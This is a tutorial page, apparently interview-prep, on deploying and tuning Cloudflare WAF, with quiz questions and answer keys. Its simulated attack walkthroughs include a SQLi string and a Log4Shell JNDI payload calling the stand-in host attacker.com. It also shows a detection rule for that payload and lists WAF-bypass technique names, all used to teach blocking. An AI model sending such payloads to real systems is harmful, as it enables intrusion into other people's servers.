A proxied Cloudflare zone serves HTTPS traffic on which default port?

Correct: a — 443. CF proxied HTTPS terminates at the edge on the standard HTTPS port. CF also supports 2053, 2083, 2087, 2096, 8443 as alternative HTTPS ports on paid plans for non-browser clients, but the default browser-facing port is 443.

Aditya at HCL wants ML-based bot scoring with the cf.bot_management.score field for custom rules. What's the minimum Cloudflare plan that gives him this?

Correct: d — Enterprise. Bot Fight Mode (Free) and Super Bot Fight Mode (Pro/Business) use heuristics + threat intel with fixed toggles. The ML-driven 1–99 bot score, JA3/JA4 fingerprinting, behavioural analysis, mobile SDK, and the wirefilter field cf.bot_management.score are exclusive to Enterprise Bot Management.

Priya watches the CF dashboard show 8.3M attacks blocked in Q3 2025 (Cloudflare's published stat). Her origin firewall logs show almost nothing inbound from attackers. Why?

Correct: a. Per Cloudflare's Q3 2025 DDoS report, CF autonomously mitigated 8.3M DDoS attacks (avg ~3,780/hour) and a record 29.7 Tbps UDP carpet-bombing attack. All terminated at the edge — none of it reaches origin. The interview lesson: a healthy WAF deployment makes the origin firewall logs LOOK boring. That's the success signal, not a sign things are broken.

An account-scope WAF rule blocks country = CN globally. A zone-scope rule on api.techclick.in tries to allow CN traffic to /api/partner . A CN request hits /api/partner . What happens?

Correct: b. CF's phase pipeline evaluates account-scope rules BEFORE zone-scope rules within the same phase. The account-level block terminates the request — the zone-level skip is never reached. To allow exceptions, move the geo-block to zone-scope, or add the exception at the account level instead. Hours have been lost debugging this exact misunderstanding.

A team proposes migrating from Cloudflare WAF to AWS WAF "because it integrates tighter with our ALB and we can write rules in JSON". What's the architectural trade-off the proposal is glossing over?

Correct: c. The where-it-runs question matters more than the how-rules-are-written question. Edge termination = attacks die at the geographically nearest PoP, before they cross expensive backbone links. AWS WAF only protects after the request reaches an AWS region — a Mumbai user is still hitting eu-west-1 with their SQLi if the ALB is there. AWS WAF wins when you're 100% AWS-native and need tight JSON-as-code rule version control via IaC; CF wins on latency, DDoS-absorption capacity, and multi-cloud portability.

Final interview question: "What does a WAF NOT protect against?" Pick the strongest answer that signals senior thinking.

Correct: c. SQLi/XSS are exactly what WAFs are designed to block (a is wrong). CF specifically does handle L3/L4 + L7 DDoS (b is wrong). Bot Management is included in WAF stacks (d is wrong). The correct answer admits the architectural limit — patterns can't catch valid-looking-but-malicious business logic. Saying so out loud, plus naming concrete bypass techniques, is the senior signal interviewers reward.

Cloudflare WAF — Beginner to Advanced, Interview-Ready in 15 Minutes

Q: Sneha at Infosys grey-clouds a subdomain "to allow direct origin access for an internal API". What's actually exposed after that change?

Correct: a. Grey-cloud disables proxying — CF just answers DNS with the raw origin IP. Attackers run dig +short api.company.com and immediately bypass every CF protection. This is the #1 way origin IPs leak. Internal APIs that absolutely need direct access should use Cloudflare Tunnel or Authenticated Origin Pulls instead.

Q: Rahul writes a Custom Rule "block IP 203.0.113.45" AND has the Managed Ruleset enabled. That IP sends a SQLi payload. What appears in Security Events?

Correct: d. Custom Rules sit in the http_request_firewall_custom phase, which is evaluated BEFORE http_request_firewall_managed . A block action terminates the pipeline. Net effect: you lose the SQLi attribution. Switch your Custom Rule action to log if you want to see what Managed Rules would catch on the same IP — or accept the trade-off if the IP is permanently banned.

Q: Karthik at Flipkart wants to block POST to /wp-login.php from outside India. Which wirefilter expression is correct?

Correct: b. Wirefilter uses lowercase operators ( eq , ne , in , contains , matches ) and dotted field paths. http.host is the Host header (not the path), http.request.uri.path is the URL path. Country comparison uses ISO 3166 alpha-2 codes ("IN", "US", "KP"). C-style operators (==, !=) don't work.

Q: Priya at TCS sees the OWASP ruleset blocking legitimate multipart uploads to /api/upload . Marketing is escalating. What's the right tuning move?

Correct: c. The whole point of WAF Exceptions is surgical scope — turn off the noisy rule(s) only where they cause FPs, on the specific path, while every other path keeps full protection. Disabling everything is the "throw the laptop out the window" answer interviewers want you to avoid. Lowering global paranoia weakens the entire site to fix one endpoint. Permanent log mode means you've stopped blocking — congratulations, you're not running a WAF anymore.

① Before the firewall — DNS, orange-cloud, and "WAF off"

Aditya at HCL types flipkart.com. His browser asks DNS, gets back an IP, opens TCP/443. Whether Cloudflare's WAF inspects that packet depends entirely on one toggle in the DNS panel — the orange cloud. Get the toggle wrong and your WAF, rate-limit rules, and DDoS shield are all silently bypassed.

Cloudflare is a reverse proxy running on an anycast network of 330+ cities. When DNS is proxied (orange), the A record returns Cloudflare's edge IPs — packets terminate at the nearest PoP, get WAF + Bot + Cache + SSL applied, then forwarded to your origin via the cf-connecting-ip header. Grey-cloud the same record and DNS returns the raw origin IP — WAF is off, CDN is off, origin IP is leaked.

SVG #1 — Two paths, one toggle. The orange cloud is what puts your traffic in front of the WAF.

Deploy a site behind Cloudflare WAF — the 6-step path

The end-to-end deployment for a brand-new domain looks like this — written exactly as you would do it on a real account:

Add site at dash.cloudflare.com → pick Free plan to start. CF scans your existing DNS records.
Update nameservers at your registrar (GoDaddy, Namecheap, BigRock) to the two CF nameservers shown. DNS propagation 5 min – 24 hrs.
SSL/TLS mode → set to Full (strict) — encrypts both legs and validates the origin cert. Never use Flexible in production.
Security → WAF → Managed Rules → enable Cloudflare Free Managed Ruleset. On Pro+ also enable Cloudflare Managed Ruleset and Cloudflare OWASP Core Ruleset.
Custom Rules → start with one rule: block known-bad IPs from cf.threat_score > 14.
Rate Limiting → add a rule on /login or any auth endpoint: 5 requests per 60 seconds per IP, action = block, duration 300s.

🌥

Orange Cloud

tap to flip

DNS record is proxied through Cloudflare. WAF, CDN, Bot Management, DDoS, SSL termination — all active. Default for web traffic.

⛅

Grey Cloud

tap to flip

DNS-only. Cloudflare answers DNS but doesn't proxy traffic. Origin IP is returned to the world. Use only for SMTP / SSH where proxying doesn't work.

🌐

Anycast

tap to flip

One IP advertised from 330+ cities. The internet routes Aditya in Mumbai to the Mumbai PoP automatically — DDoS absorbed where it lands.

🔐

Full (strict)

tap to flip

TLS browser↔CF AND CF↔origin, with origin cert validated. The only safe SSL mode for production. "Flexible" mode is HTTP to origin — never use it.

👉 So far: orange cloud = proxied through CF (WAF runs). Grey cloud = origin IP leaks. Next: we open the WAF itself and look at what runs first when that packet arrives.

Quick check · Q1 of 10 · Apply

Sneha at Infosys grey-clouds a subdomain "to allow direct origin access for an internal API". What's actually exposed after that change?

a) Only DNS resolution still works through CF — the origin IP is returned to anyone who queries; WAF, CDN, Bot, DDoS shield, and SSL termination are all OFF for that hostname. b) WAF and rate limiting still apply because they're account-level. c) Nothing changes — orange-cloud and grey-cloud are visual labels only. d) Only DDoS protection remains active.

Correct: a. Grey-cloud disables proxying — CF just answers DNS with the raw origin IP. Attackers run dig +short api.company.com and immediately bypass every CF protection. This is the #1 way origin IPs leak. Internal APIs that absolutely need direct access should use Cloudflare Tunnel or Authenticated Origin Pulls instead.

② The 7 phases — what runs first, what runs last

This is THE question every Cloudflare interviewer asks: "Walk me through how a request traverses your WAF." Most candidates name three features and stall. The good candidates draw a swimlane.

When a request hits the CF edge, it goes through phases in a fixed order. L3/L4 DDoS runs at packet level first (before any HTTP parsing). Then HTTP phases run in this order — memorise the bold ones, those are where you actually configure rules:

SVG #2 — The phase pipeline. Custom Rules run BEFORE Managed Rules — that's the gotcha every interviewer probes.

▶ Watch a SQLi request traverse all 7 phases

Click Play. The packet is GET /product?id=1' OR '1'='1 from an unknown IP. See where it dies.

① INGRESS 203.0.113.45:51200 → 198.51.100.20:443 · GET /product?id=1' OR '1'='1

▼

② DDOS L7 Request rate from this IP = 12/min · under threshold · passes

▼

③ CUSTOM RULES No matching custom rule (no country block, no IP allowlist hit) · continues

▼

④ RATE LIMIT /product not in rate-limited paths · passes

▼

⑤ MANAGED RULES OWASP CRS rule 942100 fires (SQLi pattern). Anomaly score 5 + Cloudflare Managed rule 100002 = BLOCK

▼

⑥ — — — Pipeline terminated. Bot, Transform, Cache, Origin — none of these run.

▼

⑦ RESPONSE Attacker receives 403 Forbidden · Security Events logs the rule + payload · origin never knew it happened.

Press Play to step through. Stage 5 is where the SQLi dies — see why Custom Rules running earlier matters.

The #1 phase-order trap

If you write a Custom Rule that BLOCKS an IP for "SQLi reasons", the Managed Rules NEVER fire on that IP — so Security Events never log the SQLi rule ID. You lose attack telemetry. Better: in Custom Rules, action = log for visibility, let Managed Rules do the block. Save Custom Rule blocks for clear-cut cases (geo, IP allowlist, known-bad ASN).

Quick check · Q2 of 10 · Analyze

Rahul writes a Custom Rule "block IP 203.0.113.45" AND has the Managed Ruleset enabled. That IP sends a SQLi payload. What appears in Security Events?

a) SQLi rule fires first, then the IP block b) Both events fire — phases run in parallel c) Only the Managed SQLi rule — Custom Rules log but don't block d) Only the Custom Rule IP-block event. Custom Rules run BEFORE Managed Rules, so the request is killed at phase ② — Managed Rules never see it, the SQLi rule ID never logs.

Correct: d. Custom Rules sit in the http_request_firewall_custom phase, which is evaluated BEFORE http_request_firewall_managed. A block action terminates the pipeline. Net effect: you lose the SQLi attribution. Switch your Custom Rule action to log if you want to see what Managed Rules would catch on the same IP — or accept the trade-off if the IP is permanently banned.

③ OWASP Top 10 → Cloudflare feature map

The interviewer's whiteboard question: "Pick any 3 OWASP categories — which Cloudflare feature blocks them?" Here's the full map, tight enough to write from memory.

SVG #3 — The interview whiteboard, ready-to-redraw. Memorise the 5 features in column 3 (CRS, Managed, Rate Limit, SSL, Logpush).

Wirefilter cheat-sheet — 8 expressions you can paste tomorrow

The wirefilter language is what makes the difference between someone who's read about WAFs and someone who can operate one. Memorise the field names (http.request.uri.path, ip.src.country, cf.client.bot, cf.threat_score) — then everything else is glue.

Scenario	Wirefilter expression	Action
Block POST to wp-login from outside India	`(http.request.uri.path eq "/wp-login.php" and http.request.method eq "POST" and ip.src.country ne "IN")`	block
Geo-block sanctioned countries	`(ip.src.country in {"KP" "IR" "SY"})`	block
Allow verified Googlebot (skip remaining rules)	`(cf.client.bot and http.user_agent contains "Googlebot")`	skip → all remaining Custom Rules
Bypass WAF for Stripe webhooks	`(http.host eq "api.techclick.in" and http.request.uri.path eq "/stripe/webhook" and ip.src in {3.18.12.63 13.235.14.237})`	skip → all Managed Rulesets
Rate-limit login by IP — 5 req/min	`(http.request.uri.path eq "/login" and http.request.method eq "POST")` · characteristic = `ip.src` · period 60 · requests 5	block · duration 300
Block high CF threat-score (Pro+)	`(cf.threat_score gt 14)`	managed_challenge
Virtual patch CVE-2021-44228 (Log4Shell) header	`(any(http.request.headers.values[*] contains "${'$'}{jndi:"))`	block
Allow only admin office IP to /wp-admin	`(http.request.uri.path matches "^/wp-admin" and not ip.src in {49.207.0.0/16})`	block

The action types you must know

block · challenge (interactive captcha) · js_challenge (silent JS check) · managed_challenge (CF picks the lightest) · skip (skip all/selected remaining rulesets) · log (Enterprise — visibility only, no action). When tuning a noisy rule, START with log for 48 hours, drill into payloads, THEN move to block.

Plan-tier matrix (the "why this customer is on Pro" question)

Feature	Free	Pro $25/mo	Business $250/mo	Enterprise
CF Free Managed Ruleset	✓	✓	✓	✓
CF Managed Ruleset + OWASP CRS + Exposed Creds	—	✓	✓	✓
Custom Rules (count)	5	20	100	1000+
Rate Limiting Rules	1 basic	5	15	1000+
Bot protection	Bot Fight Mode	Super Bot Fight	Super Bot Fight	Bot Management (ML)
Attack Score (`cf.waf.score`)	—	—	✓	✓
Logpush to SIEM	—	—	—	✓

Quick check · Q3 of 10 · Apply

Karthik at Flipkart wants to block POST to /wp-login.php from outside India. Which wirefilter expression is correct?

a) (http.host eq "wp-login.php") b) (http.request.uri.path eq "/wp-login.php" and http.request.method eq "POST" and ip.src.country ne "IN") c) (uri == "/wp-login.php" AND country != "IN") — wirefilter is C-style d) (if path = wp-login.php then block unless IN)

Correct: b. Wirefilter uses lowercase operators (eq, ne, in, contains, matches) and dotted field paths. http.host is the Host header (not the path), http.request.uri.path is the URL path. Country comparison uses ISO 3166 alpha-2 codes ("IN", "US", "KP"). C-style operators (==, !=) don't work.

④ SOC L1 daily driver — false positives, Security Events, Logpush

The day-2 reality: a marketing manager screams that file uploads are broken, your dashboard shows a spike of WAF blocks on /api/upload. The bad answer is to disable the OWASP ruleset. The interview-correct answer is the 4-step tuning ladder.

SVG #4 — The tuning ladder. Never disable a whole ruleset — scope exceptions to path + rule ID.

▶ Log4Shell attack — the WAF rule fires in real time

Attacker sends a User-Agent with the JNDI payload. Watch each phase decide.

① INGRESS GET / HTTP/1.1 · User-Agent: ${'$'}{jndi:ldap://attacker.com/x}

▼

② DDOS L7 Single request, no flood pattern · passes

▼

③ CUSTOM No custom rule matches this header pattern · continues

▼

④ MANAGED Rule 100530 "Log4j RCE - CVE-2021-44228" matches the ${'$'}{jndi: pattern · BLOCK

▼

⑤ RESPONSE Attacker gets 403 · Security Events logs CVE rule + full payload · Logpush ships to Splunk for SIEM correlation.

This is "virtual patching" — your Log4j-vulnerable app at the origin is never reached, even on Day 0 of the CVE.

Logpush — ship WAF events to your SIEM

On Enterprise (or via Logpush API), you can stream every WAF event in real time to SIEM targets — S3, R2, Splunk HEC, Sentinel, Datadog. Sample CLI snippet:

Curl — create a Logpush job to R2

curl -X POST "https://api.cloudflare.com/client/v4/zones/$ZONE/logpush/jobs" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  --data '{
    "destination_conf": "r2://my-bucket/cf-waf?account-id=$ACCT",
    "dataset": "http_requests",
    "logpull_options": "fields=RayID,ClientIP,ClientCountry,WAFAction,WAFRuleID,WAFProfile×tamps=rfc3339"
  }'

Expected output

{
  "success": true,
  "result": {
    "id": 12345,
    "dataset": "http_requests",
    "enabled": true,
    "destination_conf": "r2://my-bucket/cf-waf?account-id=..."
  }
}

Top 3 production gotchas (from r/cloudflare)

1. Multipart /api/upload false positive — OWASP CRS rule 949110 trips on legitimate binary uploads. Fix: scoped WAF Exception. 2. Managed Challenge fires on logged-in users mid-session — happens when paranoia is too high; create exception scoped to authenticated cookie. 3. Rate-limit using ip.src alone — behind corporate NAT (Infosys office = one egress IP), one rule punishes 5000 users. Switch the characteristic to ip.src + cookie session ID.

Quick check · Q4 of 10 · Analyze

Priya at TCS sees the OWASP ruleset blocking legitimate multipart uploads to /api/upload. Marketing is escalating. What's the right tuning move?

a) Disable the entire OWASP CRS for the whole zone b) Lower the global paranoia level to PL1 to make CRS less strict everywhere c) Create a WAF Exception scoped to path eq "/api/upload", excluding the specific firing rule IDs (e.g. 949110, 980130). Keep the rest of OWASP CRS active everywhere else. d) Move the entire CRS to "Log" mode permanently

Correct: c. The whole point of WAF Exceptions is surgical scope — turn off the noisy rule(s) only where they cause FPs, on the specific path, while every other path keeps full protection. Disabling everything is the "throw the laptop out the window" answer interviewers want you to avoid. Lowering global paranoia weakens the entire site to fix one endpoint. Permanent log mode means you've stopped blocking — congratulations, you're not running a WAF anymore.

What WAF does NOT protect — the senior gotcha

Every senior interviewer ends with this: "OK, you've explained what a WAF blocks. Now tell me what it CAN'T block." The honest answer separates L1 from L2:

Business logic abuse — adding ₹0 to cart, replaying loyalty coupons. Pattern is valid HTTP; needs app-side checks.
IDOR (broken access control beyond patterns) — Aditya logged in, hits /api/order/999 belonging to someone else. WAF sees a valid request from a logged-in user. Needs row-level auth.
Broken auth via stolen tokens — a valid session cookie steals everything. WAF can't tell.
Race conditions / TOCTOU — multiple concurrent requests exploiting time-of-check.
Supply chain attacks — malicious npm package injected at build time. Lives inside your app.
WAF bypass techniques attackers actually use — HTTP Parameter Pollution, Unicode normalisation (full-width ＜script＞), Content-Type confusion, header smuggling, hex IP in SSRF, ACME challenge path (CF zero-day patched Oct 2025). Knowing these is what tunes your rules.

Defenders for these: SAST/DAST, IAM with row-level policy, code review, dependency scanning, supply-chain attestation. WAF is one layer in defense-in-depth — never the only one.

SVG #5 — Save this image. Six tiles, the night before your interview, you're set.

🤖 Ask the AI Tutor

Tap any question — instant context-aware answer. No login, no waiting.

Pre-curated answers from Cloudflare docs + community Q&A + 2025/26 attack reports. For deeper / live questions, paste your output into chat.techclick.in.

📚 Sources

What's next?

Next we open up Cloudflare Bot Management — JA3/JA4 fingerprinting, the ML bot score, distinguishing Googlebot from Bytespider, and writing a custom rule on cf.bot_management.score. That blog rounds out the L1 SOC / Cloud Security interview toolkit.

All lessons → Practice exam ↗

Cloudflare WAF — Beginner to Advanced, Interview-Ready in 15 Minutes

Learning objectives

Pick a path — jump straight to it

DNS & Deploy

7-Phase Order

OWASP → Rules

SOC L1 Driver

① Before the firewall — DNS, orange-cloud, and "WAF off"

Deploy a site behind Cloudflare WAF — the 6-step path

② The 7 phases — what runs first, what runs last

▶ Watch a SQLi request traverse all 7 phases

③ OWASP Top 10 → Cloudflare feature map

Wirefilter cheat-sheet — 8 expressions you can paste tomorrow

Plan-tier matrix (the "why this customer is on Pro" question)

④ SOC L1 daily driver — false positives, Security Events, Logpush

▶ Log4Shell attack — the WAF rule fires in real time

Logpush — ship WAF events to your SIEM

What WAF does NOT protect — the senior gotcha

🤖 Ask the AI Tutor

📝 Final assessment — six more questions

📚 Sources

What's next?